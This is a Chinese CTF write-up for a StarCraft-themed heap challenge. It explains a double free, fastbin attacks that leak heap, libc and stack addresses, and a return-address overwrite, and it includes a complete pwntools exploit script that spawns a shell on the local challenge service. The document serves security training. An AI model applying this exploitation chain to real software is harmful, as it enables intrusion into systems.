Do you like playing sc? Come on, boy ~

程序是一个Starcraft的简易版(其实跟sc没啥关系……),特别是在binary中,漏洞比较明显,但利用比较繁琐一些。

漏洞

当form_army返回时,会将vector中所有的元素清空并delete,这是因为其作用域结束了,所以在函数末尾返回前会自动delete,可造成unit对象中的name指针的double free。

其实在源码中这个漏洞还是较难发现的,不过到了binary中就很明显了,出题失误……

Leak

通过free掉一个name,然后再查看unit信息,就能够直接读出fd从而leak heap地址。

通过将vector增大到16,即可让其free一个non-fastbin chunk,从而在堆上出现一个unsorted bin指针。利用fastbin double free的方式做fastbin attack,可以任意控制某个unit对象的name指针,从而做到任意内存读,这样就能够leak出libc的地址。

Exploit

程序限制了能够分配的size,所以传统的realloc_hook已经不可用了,需要考虑攻击其他位置。

本题的intended solution是通过leak libc中的environ变量来leak栈的地址,随后将vector增大到32,这样栈上就出现了一个可以利用的size,使用fastbin attack将chunk转移过去,发现长度不够覆盖到main_loop函数的return address。所以,需要在main_loop函数的栈帧中再写上一个更大的size,再一次使用fastbin attack,这次就能覆盖return address了,随后在其上做一个rop即可。

当然这并不是唯一的做法,解出此题的3支战队都使用了其他黑科技,非常厉害给跪了……

参考利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#!/usr/bin/env python
# coding: utf-8

from pwn import *

p = remote('127.0.0.1', 9776)
libc_environ = 0x3c14a0
libc_one_gadget = 0xe5765
libc_main_arena = 0x3be760

leaked_heap_offset = 0xc0
ubin_in_arena = 0x68
fake_chunk_offset = 0x110
unsorted_chunk_offset = 0x500
stack_chunk_offset = 0x158

pick64 = lambda x: u64(x[:8].ljust(8, '\0'))

def new(name):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('? ')
p.sendline('zealot')
p.recvuntil('unit: ')
p.sendline(name)

def delete(idx):
p.recvuntil('> ')
p.sendline('5')
p.recvuntil('unit: ')
p.sendline(str(idx))

def free(idx):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('unit: ')
p.sendline(str(idx))
p.recvuntil('> ')
p.sendline('4')

def leak(idx):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('unit: ')
p.sendline(str(idx))
p.recvuntil('Name: ')
return p.recvuntil('\n', drop=True)

new('AAAA')
free(0)

leaked_heap = pick64(leak(0))
heap_base = leaked_heap - leaked_heap_offset
print '[+] heap_base @ %#x' % heap_base
fake_chunk = heap_base + fake_chunk_offset
unsorted_chunk = heap_base + unsorted_chunk_offset

payload = 'A' * 0x20 + p64(0) + p64(0x41) + '\0\0'
new(payload)

for i in range(16):
new('A' * 0x30)

# perform a fast bin attack to leak the unsorted bin

free(2)
free(3)
free(2)

payload = p64(fake_chunk).ljust(0x30, '\0')

new(payload)
new('B' * 0x30)
new('C' * 0x30)

payload = p64(0) + p64(0x31) + p64(0) + p64(0) + p64(unsorted_chunk)
payload = payload.ljust(0x30, '\0')

new(payload)

unsorted_bin = pick64(leak(2))
libc_base = unsorted_bin - ubin_in_arena - libc_main_arena
print '[+] unsorted bin @ %#x' % unsorted_bin
print '[+] libc base @ %#x' % libc_base
one_gadget = libc_base + libc_one_gadget
environ = libc_base + libc_environ

# perform another fast bin attack, leak the "environ" in libc, it can lead us to stack

free(4)
free(5)
free(4)

payload = p64(fake_chunk).ljust(0x30, '\0')

new(payload)
new('D' * 0x30)
new('E' * 0x30)

payload = p64(0) + p64(0x31) + p64(0) + p64(0) + p64(environ)
payload = payload.ljust(0x30, '\0')

new(payload)

leaked_stack = pick64(leak(2))
stack_chunk = leaked_stack - stack_chunk_offset
print '[+] stack chunk @ %#x' % stack_chunk

# then fast bin attack again, we will pivot the chunk to the stack

for i in range(32 - 25):
new('FFFF')

free(31)
free(30)
free(31)

payload = p64(stack_chunk)
delete(31)
new(payload)
delete(31)
new('GGGG')
delete(31)
new('HHHH')
delete(31)

payload = p64(0) + p64(0x61)
new(payload)

# cause the chunk size is not enough to overwrite the address
# we should use fast bin attack one more time

delete(30)
new('I' * 0x50)
delete(30)
new('J' * 0x50)

free(31)
free(32)
free(31)

delete(31)
payload = p64(stack_chunk + 0x10).ljust(0x50, '\0')
new(payload)
delete(31)
new('K' * 0x50)
delete(31)
new('L' * 0x50)

delete(31)
payload = '\0' * 0x38 + p64(one_gadget)
payload = payload.ljust(0x50, '\0')
new(payload)

# finally, we exit the game and get shell

p.recvuntil('> ')
p.sendline('6')

p.interactive()